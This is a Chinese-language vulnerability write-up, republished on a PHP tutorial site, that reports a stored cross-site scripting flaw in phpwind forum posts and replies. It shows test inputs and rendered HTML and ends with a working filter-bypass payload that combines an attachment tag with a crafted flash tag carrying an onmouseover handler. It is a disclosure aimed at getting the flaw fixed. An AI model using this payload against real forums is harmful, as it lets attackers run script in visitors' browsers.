来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 没有阅读你们的代码,没有华丽的代码分析。只是黑盒测试代码编写不当导致phpwind发帖和回复功能均可以由攻击者植入恶意的js代码进而进行跨站脚本攻击。下面附上测试步骤,已便重...
没有阅读你们的代码,没有华丽的代码分析。只是黑盒测试……
代码编写不当导致phpwind发帖和回复功能均可以由攻击者植入恶意的js代码进而进行跨站脚本攻击。下面附上测试步骤,已便重现和官方修复:
注册账号,在任意板块进行发帖(切换到代码模式方便测试)
测试输入1:
[flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf[/flash]
测试输出1:
<object type="application/x-shockwave-flash" data="http://businessinfo.co.uk/labs/xss/xss.swf" id="jp_audio_container_0" style="" height="400" width="480"> <param name="movie" value="http://businessinfo.co.uk/labs/xss/xss.swf"> <param name="allowFullScreen" value="true"> <param name="autostart" value="true"> <param name="loop" value="true"> <param name="allownetworking" value="internal"> <param name="allowscriptaccess" value="never"> <param name="quality" value="high"> <param name="wmode" value="transparent"> <div style="height:100%">您还没有安装flash播放器,请点击<a href="http://www.adobe.com/go/getflash" target="_blank">这里</a>安装</div> </object>
确定输出点后,尝试在flash的url中加入双引号跳出value=""和data=""。
测试输入2:
[flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf"asd qwe[/flash]
测试输出2:
[flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf"asd qwe[/flash]
发现URL中出现双引号时UBB CODE不会被转换成HTML CODE.但经过小的fuzzing后,发现当
[flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf[/flash]
之前出现UBB代码
[attachment=8]
时(点上传附件按钮,上传任何一种允许的文件类型。上传成功成功后点击插入即可),情况就会有所转变。在这种情况下我们在[flash][/flash]中插入的双引号可以帮助我们跳出value=""和data=""。当然还有一些其它蛋疼的限制……
测试输入3:
[attachment=213][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=alert() qq[/flash]
测试输出3:
[attachment=213][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=alert() qq[/flash]
当恶意脚本包含"()"时UBBCODE又一次没有被转换成HTML代码。蛋蛋的忧伤……
经过一系列fuzz之后,发现:
1.一旦出现(或)UBB CODE就不会被转换成HTML CODE
2.所有的单引号,双引号,尖括号后面都会被加上%3b
3.&会被替换成HTMLEntity也就是&
这样一来开新标签是不可能了,使用编码也是不可能了,所以机智的我……还是搞定了。
最终测试输入:
[attachment=999][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=location=/javascript:alert%28%29/.source qq[/flash]
最终测试输出:
<object type="application/x-shockwave-flash" data="http://businessinfo.co.uk/labs/xss/xss.swf" %3b="" onmouseover="location=/javascript:alert%28%29/.source" qq"="" id="jp_audio_container_0" style="" height="1080" width="1920"> <param name="movie" value="http://businessinfo.co.uk/labs/xss/xss.swf" %3b="" onmouseover="location=/javascript:alert%28%29/.source" qq"=""> <param name="allowFullScreen" value="true"> <param name="autostart" value="true"> <param name="loop" value="true"> <param name="allownetworking" value="internal"> <param name="allowscriptaccess" value="never"> <param name="quality" value="high"> <param name="wmode" value="transparent"> <div style="height:100%">您还没有安装flash播放器,请点击<a href="http://www.adobe.com/go/getflash" target="_blank">这里</a>安装</div> </object>
就这样搞定了……因为flash的高宽值都可控,所以基本上小移动一下鼠标就中招了。
攻击者植入恶意代码,并发帖(也可以是回复 一样的嘛):
受害者打开被植入恶意代码的帖子时会遭受跨站脚本攻击:
修复方案:
没看代码也不好说怎么修复,你们是专业的 抽时间修复一下吧 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com